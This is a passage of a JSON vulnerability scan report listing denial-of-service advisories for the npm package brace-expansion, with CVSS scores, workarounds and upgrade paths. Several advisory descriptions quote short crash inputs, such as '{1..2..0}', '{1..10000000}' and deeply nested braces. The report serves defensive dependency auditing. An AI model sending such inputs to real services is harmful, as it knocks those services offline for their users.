"secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, 